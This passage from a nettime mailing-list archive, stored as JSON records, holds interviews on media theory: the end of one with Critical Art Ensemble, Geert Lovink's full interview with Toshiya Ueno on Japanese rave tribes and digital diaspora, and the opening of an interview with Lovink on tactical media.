capitalists turn on one another over a principle that was beyond\nquestion prior to digital economy.\n\nBiotechnology is a part of digital economy in that it is primarily about\nspeed and replication, so we are witnessing the same struggle. From the\nresearch point of view, scientists are generally good about sharing\ninformation, but there are limits. Patenting is still alive and well. From\nthe corporate perspective, it's the same split as with digital\ninformation. Some want to treat genetic and molecular breakthroughs as\nanalogic, others don't. Take GM food for example. Some argue that it is\nbest to give away genetically modified seeds (a common occurrence in\npostcolonial food initiatives in the third world). The belief is that once\nfood production is cornered from the molecular level up, that profits from\nother related goods and services will increase. Others want payment from\nthe beginning. Since much of this happens on a case-by-case basis (for\nexample, Monsanto uses both strategies), it's difficult to tell what the\nfuture will bring.\n\nCritical Art Ensemble can be found on the web at www.critical-art.net.\n\n\n\nRyan Griffis is a member of artofficial construction\nmedia (www.artofficial-online.com)\n\n\n\n\n\n#  distributed via <nettime>: no commercial use without permission\n#  <nettime> is a moderated mailing list for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: majordomo {AT} bbs.thing.net and \"info nettime-l\" in the msg body\n#  archive: http://www.nettime.org contact: nettime {AT} bbs.thing.net\n",
                "date": "Mon, 18 Dec 2000 11:21:11 -0800 (PST)",
                "to": "nettime-l {AT} bbs.thing.net",
                "message-id": "200012190237.VAA09620 {AT} bbs.thing.net",
                "url": "https://nettime.org/Lists-Archives/nettime-l-0012/msg00098.html",
                "list": "nettime_l",
                "author_name": "Ryan Griffis",
                "subject": "<nettime> interview with Critical Art Ensembl"
            },
            {
                "content-type": "text/plai",
                "from": "\"geert lovink\" <geert {AT} xs4all.nl>",
                "id": "00265",
                "content": "\n\nUrban Techno Tribes and the Japanese Recession\nInterview with Toshiya Ueno\nBy Geert Lovink\n\nToshiya Ueno is a Japanese sociologist, media theorist and critic. In May\n1990, when I was introduced to Toshiya in Tokyo during my first visit to\nJapan, I could not quite make out who he was. His English was poor and so\nwas my Japanese. I had heard about his institutional involvement and his\ncareer as a popular columnist for fashion, design and computer magazines. In\n1992, when he came to Amsterdam for the first time we slowly got to know\neach other and by the mid-nineties our friendship was established. He kept\ncoming back to Europe and became a regular visitor of the Ars Electronica\nfestival, reporting for Japanese magazines. At that point Toshiya's English\nskills increased dramatically and a fierce dialogue about media theory\nissues and the state of new media culture worldwide started between us. A\nfew times a years Toshiya would stay in the tiny guest room of my former\nAmsterdam house. He gradually left the official Japanese new media business\nand started to investigate Amsterdam's free media scene, drugs culture and\nthe (Goa) techno trance scene in particular. Through the lively refugee\ntribes from former Yugoslavia based in Amsterdam Toshiya came in contact\nwith techno-trance rave scenes in Croatia where he made his debut as a DJ\nand TJ (text jockey), a passion he would continue in Japan. Our\ncollaboration would take us from Internet conferences in Europe, a annual\nfive years long teaching project at Osaka's Inter Media Institute (IMI), a\ncommon trip to Taipei to co-producing a television show about Amsterdam's\nsubculture. In this e-mail exchange we have focussed only on a few aspects\nof Toshiya's work: the notions of urban tribes and digital diaspora, the use\nof technology in subcultures and the need in Japan to cross boundaries and\nstart a dialogue and exchange between various scenes.\n\nGL: In retrospect, how would you describe the nineties in Japan? It seems\nsuch a strange period, where not that much seems to have happened. It more\nlooked like a never-ending mild recession. A sweet stagnation without brutal\nThatcherism. No crucial decisions were made. No drastic cuts. No equivalent\nof the fall of the Berlin wall. No uprisings. There weren't even dramatic\npolitical and economic changes following the 1997 Asian financial crisis and\ncountless bank scandals. The cultural climate seemed dominated by a ongoing\nconsumerism, yet in a less ecstatic way compared to the bubble years of the\nmid-late eighties. A sophisticated numbness and joyful innocence could be\nfound amongst youngsters. How could this odd mix of technological speed and\npop fashion admits an ongoing recession result in such an amazing soft\nstagnation? Please tell me if I am wrong. If this model is running out now\ndo you see any signs of discontent or even protest?\n\nTU: Your description may be right until mid 90s, the days just after the\ncollapse of the speculative and 'bubble' economy. But around 1999 a drastic\nstorm of 'neo-liberalism' set in. Ordinary people were seemingly not aware\nof this crisis in their everyday life. However, if you turned your eyes to\nthe micro level you could find lots of symptoms of a collapsing corporate\nwelfare state. There have been many lay-offs, 'restructuring' of businesses\nand various cases of 'privatization' of the public sector such as museums,\ninstitutions and state universities. Until 1995 people did not feel these\nmeasures and were by and large unaware of the coming crisis. Since 3 or 4\nyears however we are facing a 'second hand' version of 'populism' in the\nUK-style. Politicians have been quite influential in this process. It did\nnot matter whether his/her political stand point were left or right, liberal\nor conservative, global thinking or nationalistic. These days novelists and\nTV stars are capable of winning an election and become president of a local\nprefecture or win a seat in the national parliament. Some of them are\nsignificant figures in Japanese subculture.\nDuring the recession the cultural or expressive sector of society was deeply\ndamaged. It has become difficult to find a publishing house for books that\nhave a theoretical or political content. I was saddened with the absence of\nuprisings or riots, yes. But I also have to say there have been numerous\nrevolutions, even though most of them came from conservative and reactionary\nside. 'Revolution' is the very nature of neo-liberalism. Japanese society is\nfollowing the same process which the UK and US experienced earlier. On the\nother hand one has to see the singularity of the Japanese 90's. We could for\ninstance point at the transversality (a notion of Deleuze/Guattari) and\nsingularity of the economical, cultural and even political crisis.\n\nGL: Is it useful to integrate the notions of subculture and media as\ndeveloped by UK cultural studies into your research about Japan?\n\nTU: Cultural studies UK-style and its versions in other Asian regions are of\nimportance to me. I do not want to reduce cultural studies to political and\ntheoretical reflections on Japan's imperial and colonial past, neither to a\nsociology of popular culture. In the UK, cultural studies has also been\ntactical criticism and a theoretical weapon against populist neo-liberal\npolitics within the everyday life. Cultural studies were not just an\nanalytical tool, it was also related to real micro and cultural politics\nagainst the populism sprouting of neo-liberalism. I am referring here to\ndo-it-yourself, Rock Against Racism, the movement against Criminal Justice\nAct and so on.\nUntil recently I have also been thinking why we did not have protest\nmovements in Japan. But now I am more interested in doing something real and\nrespond to the seemingly invisible and intangible crisis. We can make\nsomething happen in this situation. Although neo-liberalism is really shit,\nit is also true that it can also generate forms of resistance against\nitself. A few years ago, in Germany and Amsterdam, I came across the rave\nparty phenomena. I discovered music-based subcultures even though rock had\nlong been a part of my life. Rave culture has got something for me. Rave is\nbased on hedonistic desire and fun, but at the same time it can also be\nconnected with environmental awareness. It is a movement in itself with its\nown anarchist politics. For instance pirate radio is often used these days\nto broadcast from rave parties.\nIn the early 90's I used to be a critic of contemporary art, music, film and\nall kinds of expressive cultures. Those were the so-called postmodern days.\nAt that time the Japanese economy was still a powerful force. The\nspeculative 'bubble' economy needed, even preferred, 'speculative' essays\nand articles. Under those circumstances I wrote a lot of papers and essays\nfor a myriad of magazines. However, when I came across rave I realized that\nmusic was the most important thing for me and my critical interpretive\nability was most suitable for the music and its cultural and political\nimplications. That's when I stopped writing about other fields such as new\nmedia theory and the arts. Within the rave movement I found a lot of\nelements I was interested in and involved with before, for instance, free\nradio, techno music, ecology movement, quasi-squat activities, anarchism,\ndissident politics, and also visual designs of party gear--decorations which\nare related to contemporary and electronic arts. All the elements I had been\ninterested in so far were coming together in rave. I started to elaborate my\nown theory based on everyday experiences.\n\nGL: Do you think that techno culture is part of the leisure industry to\nforget daily boredom?\n\nTU: A party is not a festival or carnival to forget the routine of the\neveryday life. A party is a critical part within the everyday. Sometimes\npeople think of a rave as a unusual event which is opposite to the everyday\nlife as a 'temporary autonomous zone' (Hakim Bey). For some scholars raves\nare conceived and interpreted as disorder, chaos, a marginal experience,\nfrequently depending on communitas and liminality arguments as developed by\nVictor Turner. Theoretically speaking these arguments are rather banal.\nRaves or parties are not liminal or marginal. One can bring in elements such\nas the gift economy, open minded communication, abandoning the sexual\n'picking up,' environmental consciousness and so on. Even though it seems\nthat rave and party can occur beyond the everyday life, beyond the border\nbetween order and disorder, the usual and unusual. Because of my involvement\nin rave culture people in liberal and leftist academic circles in Japan have\nstarted to criticize me. They say: 'Toshiya changed a lot. He abandoned\nsocial movements, cyber cultures and media politics.' But that's not true.\nThese days I am much more involved in cultural politics, the politics of the\neveryday life than ever before. Through rave culture I am encountering a\nvariety of urban tribes.\n\nGL: Aren't you overestimating the political dimension of the rave phenomena?\n\nTU: Most of the ravers are apolitical and lack consciousness about political\nissues. For instance, they don't care about Japan's colonial and imperial\npast. On the other hand it is very interesting that some of young trance\ntribes are negotiating with capital or globalization in their own way when\nthey have to manufacture fashion gear. They don't have a political agenda\nbut they somehow have tactics to survive or to make money in their\nrelationship with Japan's former colonies such as Korea and Taiwan. They\ndon't deny their eventual political agency concerning topics such as ecology\nand the pirate (gift) economy. As a dissident sociologist I would like to\nconstruct a political practice with these urban rave tribes in order to\ndevelop tribal solidarity in Inter-East connections through various\nsubcultures and build bridges between Japan, Korea, Taiwan and even China.\nIn other words, rather than being crazy about a reflection and redemptive\nconsciousness on the Japanese colonial and imperial past, I would like to\ncreate something positive together with ravers, urban tribes and also youths\nand people in ex-(or post) colonial Asia. I have to say that the leftist\n'authentic' and 'liberal' position in Japanese academia is failing to grasp\nsuch alternative possibilities. They tend to be too 'moralistic' by seeing\nhistory and past only in a regrettable way. I am sure that there is a\nsimilar pattern in former Yugoslavia. If the Croats for instance insist on\ntheir 'most-victim status' then you can not invent something positive or\nproductive in tribal solidarity with others, for example with Bosnians or\nSerbs.\n\nGL: What do you think of the current I-mode fashion in Japan? Is there any\nreason for Westerners to be excited or even jealous about the Japanese\nwireless craze and DoCoMo in particular?\n\nTU: Certainly all of my students and the party tribes are all using mobile\nphones to communicate, make appointments and sometimes to get a bit of info.\nBut I can't find any reason why westerners should be jealous about their\nJapanese counterparts. Concerning tactical use of mobile gear I can point to\nmore interesting and crazy usage in Europe. Nowadays even for most dissident\npunks and squatters handies are really helpful technological tools. Some DJs\nand organizers in Japan started to distribute tracks via wireless networks.\nAt the same time they are also are thinking about how to hook up mobile\nphones with MIDI instruments. Even though all this supports capitalist\ntelecom corporations, these experiments could be really revolutionary.\n\nGL: How would you describe Internet use amongst young people in Japan? It is\nbeing said that they're not so interested. They are much more crazy about\nwireless applications and more protected, intimate BBS systems. Is the\nEnglish language an obstacle to communicate? Cybercafes and public terminals\naren't that popular compared to for instance Australia, Asia or Latin\nAmerica.\n\nTU: Japanese youth are not so crazy about Internet, as far as I see,\ncertainly not my students and the tribes around me. The aim and the way of\nusing the Internet are quite different. They are all the time net-surfing\nbut mainly visit Japanese sites. They are also quite skillful using\ncomputers to edit sounds and moving pictures. The web design scene is also\npowerful but always lacks  content, especially political and theoretical\none. So relatively it is true that they prefer 'stand alone using computers'\nover the Internet. There are only very few students who visit English based\nsites. Language is still an obstacle, also for me. There are not so much\ncybercafes in Japan because most of the people already have their own\ncomputers in the office or at home. Of course tribes in the party scene are\nmore active on the Net in order to organize parties, wary of local\nauthorities and police to find out.\n\nGL: Where does the 'urban tribe' concept come from? Don't you see it as a\nset back to go back to such an anthropological term, so close to ethnicity\nwhere there no longer is any ethnicity? Why would rave cultures be best\ndescribed as 'urban tribes'?\n\nTU: The term 'tribe' was not invented by myself. For this I have to go back\nto Japan of 1955. One author published a novel titled Season of the Sun. It\nwas a bestseller. It told the story of hedonistic subculture youth and\ncaused a sensation in those days. A film was based on the novel.\nIncreasingly that type of youth style out of the novel could be found\neverywhere because youth were trying to imitate the style and fashion\ndescribed in Season of the Sun. Of course, this novel was inspired by the\nreal youth of these days. And then a term was invented: 'sun tribe'. People\nused to call the dissident, hedonistic youth during the fifties the sun\ntribe (taiyo-zoku). After that in each period, 60s, 70s, 80s, mainstream\npress and parent cultures always used the term zoku to describe unknown\nyouth subcultures. For example otaku-zoku, crystal-tribes (Japanese yuppies\nin 80s) or the speed bike tribes.\nJapanese are crazy about the generation gap phenomena, perhaps because we\ndon't have visible markers amongst people. 5 or 6 years difference is\nalready important for people. Japanese youth are very sensitive about age.\nSince the 90s this symptom is slowly changing. Maybe the otaki-zoku was the\nlast tribe in Japan. Because people tried to use another term, kei, it is\nvery difficult to translate - system or series. So, for instance,\nShibuya-kei, Shibuya-series in English. Shibuya is the name of the district\nof Tokyo, one of youth centers in the city. So people would like to call the\nmusic genre and some fashion based on the youth in Shibuya, Shibuya-kei.\nNobody these days is using the term 'tribe' anymore. But at the same time\nthere are a lot using the term tribe or tribal in flyers for club and rave\nparty to connote new types of music genres and specific atmosphere.\nAnother interesting point is that the author of the Season of the Sun later\nbecame a politician in the parliament in the LDP - the dominant\nliberal-democratic party. He is now governor of the Tokyo metropolis and\nperhaps the only mayor who rejected to give the human rights to gay people\nor to give rights to foreigners to be able to vote. He's a real fascist or\nat least can be called a fanatic nationalist and historical revisionist. He\nis constantly denying Japan's colonial violent past. He once called Asians\n'third people'. Japanese would be first, Americans and the westerners\nsecond. According to him people from other Asian countries such as migrant\nworkers or students should be discriminated. This is a really crazy\nsituation. Why did this man become so powerful? Because people supported\nhim. In that way zoku and the story of tribes is not only based on\nsub-cultural studies, it is deeply related to Japanese politics. Recently\nthe son of Prime Minister Koizumi, who is also populist, neo-liberal,\nstarted appearing as an actor. Despite of the poor result, he gave an\naudition with the title '21st century Yujiro' (Ishihara's dead brother).\nSuch phenomena are interesting, ironical and crucial for Japanese populism\nand conservative cultural politics.\nIn Japan the term 'tribe' has had a specific meaning. In the late 40's in\nOsaka, the second biggest city in Japan, there were squat villages, squat\ntowns of Korean residents. They were very much discriminated. In those\nvillages there was a lot of scrap of steel underground. They tried to dig up\nthis scrap and get money by selling it. But this scrap was the national\nproperty of Japanese national government. And then the conflict between the\npolice and the Korean residents started. It made a sensation in those days.\nThese Korean residents called themselves the 'Apache tribe.' They compared\ntheir position with native-American. Numerous authors and novelists wrote\nthe novel featuring this 'Apache tribe.' One of them was an SF called\nJapanese Apache Tribe, written by Sakyo Komatsu, in which Apache tribe\nappeared as a mutant having iron body something like cyborg or T-1000 in\nTerminator 2. It is a well-known fact that this novel influenced the\nunderground cult movie Testuo. I am sure that some SF freaks or club techno\ntribes regard this film as a legendary piece.\n\nGL: You have been working with the 'digital diaspora' concept. Could you\nexplain this? To what extend would you support a withdrawal into the Net?\nCould we speak of productive monads and where does this inward looking\nbecome eccentric and obsessive otaku-ism? You have been critical of the\nfigure of the otaku and the Western fascination for this so-called typical\nJapanese obsessive behavior of the 'otaku' data collector. Where does a\nsub-culture in Japan have possibilities for resistance, and at what point do\n'temporary autonomous zones' transform into consumer-driven lifestyles?\n\nTU: By using the term digital diaspora I don't mean the disappearance of\nhuman lives and bodies into the Net. Rather, I use it to talk about a\ndiaspora within the Net (or generated through the Net). Historically\ndiaspora cultures can be found around the world. Some theoreticians working\non the diaspora topic have used the term of web or network. The term\n'diaspora web' was introduced by Paul Gilroy. These days this terminology is\nno longer a mere metaphor but rather a sort of allegory for the reality\nitself to which we are faced up. We are now faced with broader cyberspaces\nthrough network technology. Not only due to computers but also via radio or\ntelephones the information 'seas' have been expanding. Not only through the\npower of Internet, actually some refugees and people in diaspora began to\nkeep their lives in diaspora through video distributions or computer\nnetworks and other electronic technologies. One could mention refugee\ncommunities in Perth (Australia) coming from Croatia or Macedonia. They are\nusing VCR technology to maintain the relationship to their original place.\nAnd also one can put as example, some independent media in Amsterdam to\nsupport people coming from ex-Yugoslavia, (as described in Dona Kolar-Panov,\nVideo, War and the Diasporic Imagination, Routledge,1997). Information\ntechnology and telecommunications are developing the diaspora notion into\nnew directions.\n\nDiaspora in general is connected to moving and migration forced by some\npower relations including economic, political, religious and so on. To\ndescribe the things and the cultural elements moved, like dreadlocks,\nT-shirts, and music etc, one can appropriate the term cultural diaspora to\ninterpret such a circulation. Certainly diaspora is a sort of cultural\ntraveling and causes traveling theory, but it should not be confused with\nglobalization in general or postmodern pastiche eclecticism which is based\non the 'anything goes' parameter. But on the other hand it is becoming\ndifficult to maintain the dichotomy between real refugees, illegal migrants,\nasylum people, 'suffered diaspora,' ravers, hooligans, travelers, tourists\nand the 'cultural diaspora.' It is becoming difficult to distinguish forced\nsettlement and voluntary migration, dwelling and traveling in a rigid way.\nWe, I mean critic or intellectuals in the 'first world', are in between the\n'suffered' and the 'observer'. Diaspora is crucial tactical tool and even\nmedium or space to analyze this situation.\n\nGL: What does the diaspora condition got to do with the specific Japanese\n'otaku' phenomena, the manic collectors of instance records, magazines and\ngames?\n\nTU: In the past I have criticized the term otaku but not the otaku people\nthemselves. I am criticizing the cultural condition of otaku and its\npolitical context. I myself am an otaku of sorts, being crazy about Japanese\nanimations and psychedelic trance techno. I am skeptical about Japanese art\nbased on otaku-ism. Western people are fascinated by otaku culture and\nthat's why it can be marketable. Some even try to emphasize the cultural\ntraditions and history of otaku. They say Japanese culture has always been\ndominated by collectors infomania. For them Japanese history has been\npostmodern and eclectic right from the start.\n\nGL: Where does the difficulty to communicate between scenes, movements and\ndisciplines within Japan come from? It is striking to see how many useless\nfrictions and anxieties there are, between artists, scholars, institutions,\nactivists. This makes it rather difficult, I suppose, to set up networks in\nJapan. The only communication which seem to work are the very private,\nintimate channels on certain bulletin board systems (BBS). There seems to be\na form of competition, not related to work, money or income. This fact has\nmade it difficult to set up a half-way independent and interesting new media\narts scene in Japan. Japanese we get to meet in the West do not collaborate\nin Japan. It seems much easier for them to meet in New York, Amsterdam or\nParis then in their own country. Do you believe that this is simply cultural\n(as a 'second nature') and therefore next to impossible to change? Isn't it\ninteresting that this overdose of communication devices hasn't had a\nsignificant impact on this specific aspect of Japanese society? Or should we\nview this observation as yet another culturalism?\n\nTU: Well, I don't want to say that there is particular inability to\ncommunicate in Japan. I am actually highly skeptical about any form of\nculturalism or cultural essentialism. But to be honest, I have also have\nfelt the useless frictions amongst the different urban tribes in Japan on\nnumerous occasions. I am fed up with that situation. That is the reason why\nI am frequently staying in Europe. Maybe others also feel like that. For\ninstance, in Japan, media artists are generally not interested in politics\nand especially not in Japanese politics. On the other hand, most of the\nleftist intellectuals have never heard of media art or media activism.\nTetsuo Kogawa and Toshimaru Ogura are great exceptions of course. The former\nwas founder of free radio movement in Japan and still very active for\nexperiments of streaming and developing critical media theory. The latter is\nradical media activist and theorist organizing anti-wiretap and anti-echelon\nmovement. In fact, I myself have not met them since long time. Tokyo is too\nhuge to see each other. Toshimaru is living far away from Tokyo. There is a\ndeep gap. Of course this gap is both cultural and political. Cultural\nstudies is recently becoming popular in leftist and liberal academic\ncircles. But most scholars reduce cultural studies to a method for\ncriticizing the notion of the nation state. Their arguments have never\nreached younger generations or urban subcultural tribes on the streets or\nscenes such as hip hop or rave, even though they could easily be against the\nnation state and its cultural hegemony.\nTake the example of LETS (local trading system) in Japan. That's a popular\nconcept at the moment amongst critical intellectuals. Koujin Karatani and\npartly Akira Asada, who always prefers the 'safety zone' rather than the\nreal 'critical space,' are at the moment involved in organizing NAM, the New\nAssociatist Movement, which is a network of LETS in Japan. I support LETS,\nits theory and especially its practices. Being one of the ravers and\norganizers of small illegal parties I respect every form of gift-economy\nstyle and reciprocal symbolic economy. So why don't I join NAM? Despite of\nAkira and Koujin's nasty and cynical gestures towards social movements\nduring 80's, it is good to see what they are doing. But there is an old type\nof politics at work within NAM. Karatani and others are putting out the\ntheory, and then people can do LETS activities according to the theorists'\nsystem. Volunteers work within the structure elaborated by intellectuals and\ntheoreticians. This in my opinion points at an outdated and unnecessary\ncontrast between theory and practice. Their classifications on some parts in\nthe movement are very ironic. They call their small groups 'kei' meaning\nseries or system, in contrast to tribe. So you have bunka-kei (culture\nseries), lilon-kei (theory series), undou-kei (movement series) and so on.\nIt sounds like a bad joke to the subcultural urban tribes. Karatani and\nAsada's take on social movements is to ignore and neglect the organic and\ntransversal relationships amongst different scenes.\nWhat I am trying to do is setting up small pirate radio stations and flea\nmarket activities during open air raves. Indeed, there is a difference in\nunderstanding between tribes such as rave and punk and hip-hop. But that's a\nmuch better situation than the classic binary opposition between theory and\npractice. Karatani labeled NAM as a new type of communism. Probably that's\nright. But he does not think about the people's reaction. By using the term\ncommunism NAM is losing interesting people and tribes. Their way of\ncommunication is using classic leftist language in an almost tragic-comic\nway. I am familiar with it but most people are not. I wished NAM and various\nurban tribes and subcultural scenes would shake hands and build an affective\nand effective alliance. For that vision a cultural politics would be\ncrucial, a politics which communicates within the scenes rather than mere\npolitical rhetoric. It can be called cultural politics. Technology can\nchange the way of communication in each cultural and political context. That\nis why I restarted the pirate mini FM free radio idea during open air\nparties. I would like create hybrids amongst different urban tribes such as\ntechno, punk, eco, anarcho, rave, new age, otaku, the left and other\ndissidents.\n\nGL: What is the current level of media theory in Japan? We don't hear much\nabout it. I can't think of any Japanese contemporary theory being\ntranslated. We actually only hear about theory import into Japan, not the\nother way round. Is this because there's nothing going on? This can hardy be\nthe case. Is the produced theory only of local interest? What's reason for\nthis theory deficit?\n\nTU: There are a few tendencies within Japanese media theory. The first is\nmainly developed in academic field and is called media studies. There are\nsome layers and spectrum goes from audience research to more positivist\nmethodologies. Basically researchers don't want to go outside of\nuniversities and academic circles. Most of them are not enthusiastic to use\nmedia technology themselves. There are a few translations or papers\navailable in English.\nThe second tendency would be a form of criticism to be found within new\nmedia art, connected to the Internet hype and early-mid 90s media\ntechnologies. That is why it used to have financial support from big\ncorporations but that's fading away. Unfortunately new media arts lacks the\nvision on the broader political economy of its own field. That is why\ncorporations can safely speculate their money into 'speculative' media\ntheory .\nThe third tendency would be the activist 'tactical' media. But that stream\nis very micro and weak in Japan. As I mentioned, Tetsuo and Toshimaru are\nactive in both theory and action. They are paying attention to the economy\nand politics of the media and Internet. I am not that satisfied with the\ntheoretical level of the three currents. For most of the time I have been\nmoving between the three and taken difficult in-between positions. What is\ncrucial in this context is how we can build bridges between the different\nmedia tribes.\n\nGL: Over the last few years you have been going to a wide range of raves,\nfrom illegal parties in German forests, squatters parties in Amsterdam,\nraves in Zagreb to solar eclipse parties in Hungary and Zambia. You also\nattend a variety of raves in Japan, from expensive Tokyo club events to\ninformal events in parks and in the mountains. Do you see yourself as a\nmodern anthropologist studying rave culture? Have you encountered any\nproblems with this form of 'participatory research'?\n\nTU: There is a 'belonging without identity' as described by Gorgio Agamben\nand Lawrence Grossberg which goes beyond the usual definition of community\nas a social entity with shared values. Without identification on fixed and\nstable positions it is possible to belong to a tribe. Tribal formation are\nnot one. Within one tribe we can find diverse styles, differences in taste\nand even conflicts over how to live ones life. When subculturalists say '\n(s)he is tribal' it means that there is an open group-minded feeling, a\nsolidarity and tolerance for other tribes and different styles. It point at\na consciousness against the mainstream of this civilization and its\nglobalization. For example, tribal cultures within the rave scene show\nrespect for so-called traditional tribal or quasi-premodern cultures and\ntheir 'indigenous' way of living. This respect is so distant from the way in\nwhich journalism and political science talk about 'tribal wars.' The\nposition of the DJ in all this is highly significant. The DJ functions as a\nmediator and catalyst to both inform and transform people how to enter other\ndimensions of the world. They could be considered the shamans of the cyber\nage. But this shaman is at the same time an 'organic intellectual' in a\nGramscian sense, organizing people to get to other horizons of  society\nthrough 'partying.'\nBecoming a DJ has influenced my way of writing in many ways. Both positions,\nthe sociologist and the DJ consist of a cut'n'mix of materials produced by\nothers. Usually a DJ does not  compose or create the music tracks him or\nherself. The DJ cut'n'mix is '(re)inventing' and (re)elaborating already\nexisting sounds. The same can be said about the work of the sociologist or\ntheoretician as a TJ (text jockey). We can no longer pretend to create\n'theory' out of the blue. We always first collect material, texts and\nresources and then start quoting, editing and appropriating passages from\npast works. That is do-it-yourself within theoretical practice. Kodwo\nEshun's notion of 'remixology' is quite suggestive. Sometimes I am asking\nmyself: am I a sociologist or just a tribal raver? It is a really difficult\nquestion to answer.\nI don't want to merely celebrate rave culture. There are a lot of problems\nsuch as hedonism, consumerism, drug issues, frictions amongst tribes and\norganizers, negotiations with local authority and police have to made, etc.\nI never face any problem during my 'participatory observation' or fieldwork\nresearch. Maybe this is because of my enthusiasm to join the party. The\ndifficulty is lying somewhere else. I do not have the proper language yet to\ntalk to both academic circles and party tribes. It might even be impossible.\nI would like to invent a different way to theorize everyday life.\n\n[Toshiya Ueno is an associate professor at the Expressive Cultures\nDepartment at Wako University, Tokyo. Several of his papers in English are\navailable in the Nettime archive. He is preparing a book titled \"Urban\nTribal Studies\" with the Amsterdam-based Croatian sociologist Benjamin\nPerasovic. His published books, in Japanese, amongst others, are \"Situation,\nCultural Politics of Rock and Pop (Sakuhinsha, 1996), \"Artificial Nature, On\nCyborg Politics\" (Keisoshobo, 1996), \"Thinking Diaspora\" (Chikuma Shobo,\n1999) and \"Cultural Studies, an Introduction\" (With Joshi Mori, Chikuma\nShobo, 2000, vol.2 coming up).]\n\n\n\n\n#  distributed via <nettime>: no commercial use without permission\n#  <nettime> is a moderated mailing list for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: majordomo {AT} bbs.thing.net and \"info nettime-l\" in the msg body\n#  archive: http://www.nettime.org contact: nettime {AT} bbs.thing.net\n\n",
                "date": "Wed, 26 Sep 2001 16:01:16 +1000",
                "to": "<nettime-l {AT} bbs.thing.net>",
                "message-id": "200109261055.GAA15568 {AT} bbs.thing.net",
                "url": "https://nettime.org/Lists-Archives/nettime-l-0109/msg00265.html",
                "list": "nettime_l",
                "author_name": "geert lovink",
                "subject": "<nettime> Interview with Toshiya Ueno"
            },
            {
                "content-type": "text/plai",
                "from": "snafu <snafu {AT} ecn.org>",
                "id": "00044",
                "content": "\n\ndear nettimers,\n\nthe follwing is the integral version of an interview/dialogue between Geert\nLovink, Snafu and Subjesus. It was made in July for the portal of the\nItalian pubblic Television Rai.it.\n(Italian abridged version at\nhttp://www.rai.it/RAInet/smartweb/cda/articolo/sw_articolo/1,2791,137,00.htm\nl)\n\nIn this text Geert touches a variety of arguments, from the first\ndevelopment of the digital public domain, to the recent evolution of\nTactical Media passing for an analysis of the dotcom burst and of the\npossible development of independent platforms and infrastructures.\n\n-------\n\nInterview with Geert Lovink\nBy Snafu and Subjesus\n\nQ: You took a part in several media-related experiences, mostly in the\nNetherlands: the Adilkno group of media intellectuals, the pirate radio\nmovement, tactical media conferences, the Amsterdam-based community network\nThe Digital City and so on. Could you give a short yet detailed outline of\nyour past activities, and a glimpse at your present days, as a member of a\nglobal/local networking culture?\n\nA: Is this a job interview, or what? I am not sure if my personal biography\nis all that significant for the theory and practice of \"becoming media\".\nCertainly I cannot see an accumulation of knowledge or even experiments in\nour \"alternative\" network sector. Growth in the digital arena is more\nspasmodic than linear or dialectic. Yet, there are waves of change, intense\nperiods in which History and the personal biography seem to fire each other\nup. In the meantime there is just boredom--the usual, eternal, repetition\nof the same old topics and patterns in which thoughts and movement come and\ngo. We are now in a golden age of net activism, and we should all enjoy\nthis rare and special period.\nIn my biography the year 1980 was of significance, the squatters movement\nin Amsterdam and Berlin, urban autonomy in a post-ideological and post-68\ncondition. Leftist models occurred at moments of regression. They were\nresponsive and regressive, not strategic, imposing dogmatism is in a\nprecious situation where something new was about to emerge. At that time\nthe left had split into a pragmatic faction and an intellectual ghetto\nwithin academia which was only able to analyze its own defeats and failures\n(which is, I agree, a study in itself). Just imagine how different\nBaudrillard would have been if he would not have had the boxing ball of\n1968. The same can be said of Deleuze and Guattari. One cannot understand\ntheir intellectual position without basic knowlegde of the French political\nlandscape in the sixties and seventies (which was dominated by the PCF).\nIn the age of ecstatic normalcy, lacking opposition the theory without\nenemy, without reference, has become a self-mirroring text regime.\nActivists in this context are, almost by default, forced to respond\nanti-intellectually. This tendency started in the late seventies with punk.\n\nIf you have the impulse to do something you have to stop deconstructing\nyourself. Just do it, as the Nike phrase correctly states. Hit and run. See\nhow authorities and their sign system respond. Trail and error. Ignore\nthose who tell you that all activism ends up in building concentration\ncamps. This is moral blackmail from those who are not involved anyway. Take\nthe moral highground in such situations and respond with a sovereign\nsilence. It is not worth the anger. This also counts for the hacktivism and\nnet.activism debate. Let's not be afraid, neither for radical action, nor\nfor radical theory--and leave the pc knights outside .\nTheory is not an ersatz religion. It won't tell you what to do--nor what to\nthink. It has truely become a Foucaultian toolkit, that is, one which stays\nin the wardrobe for most of the time. Forgotten pearls. Beautiful but\nunworn. In this situation the Event becomes an almost holy entity. For\nmany, Events are just falling from the sky because they are no longer\ncreated by some Party or Vanguard. Cracking the events therefore becomes\nprecious knowledge. Most people just live their lifes. They wait and see,\nuntil something happens: 1989, raves, Seattle, a squat, a riot on the first\nof May (or not). This eventism can also be found at the media level, with\nthe Internet, or local radio, suddenly creating zones of possibilities,\nwhich then fade away, after a wild night, some exciting months in a media\nproject, or however long it might take. That's my biography. The\ndevelopment from print to radio to Internet, in my case, is not an\ninteresting one. What is interesting is the ability to metamorphorize, as a\nperson, using (new) media, in the way Klaus Theweleit described this\nprocess of personal \"growth\", using \"techniques\". Sometimes one succeeds,\nin some cases in all seems to fail, ending up in (in)significant misery.\nThe hardest part for me is to judge my conceptual work. The realm of ideas\nhas lost so much of its significance, despite all the warm hearted\ncompliments of theory sympathisizers and reassurements from the side of\nindustry that \"one day your good content will rewarded.\"\n\nQ: You have written a lot about the digital public domain, often with a\nrealistic and disenchanted view. Yet, if we look at experiences such as DDS\nand xs4all, we have the impression of an early European net.culture able to\nhighly influence the digital innovation, by acting as a subject of the\nearly networks. Nowadays the mediascape has clearly mutated its outlook.\nDespite the apparent crisis, dotcoms and telecom are monopolizing and\nre-shaping the net. Yet, we feel that many issues raised by the digital\navant-guards (if we can use this term.) have been absorbed by mainstream\nnew media: access for all, low costs of connection, availability of\nwebspace and various facilities are on the agenda of any big corporation.\nIn the context of the Next5minutes 3 you launched the \"free for what?\"\ncampaign (www.waag.org/free), which was exactly focusing on these issues.\nAt which level the ideology of a generalised free access have been absorbed\nand emptied of its idealistic drive and at which level it has positively\ninfluenced the economical development? Did that ideology help to reduce the\ndigital divide, or the market continued to be driven by its own logic,\nwithout being affected at all by social dynamics?\n\nA: Let's not be overly afraid of co-optation. I don't think it is all that\ninteresting to design memes which cannot be used by the evil forces of the\nstate and the market even though it is quite a challenge. We did serious\nwork into that direction with Adilkno and our \"strategies of failures\" were\ncertainly not the most popular. Amongst your peers it is not widely\nappreciated to be on the \"heights of despair\" (Cioran). Utopian ideas speak\nto the people. This is simply the case, despite half of century of\norganized disgust of 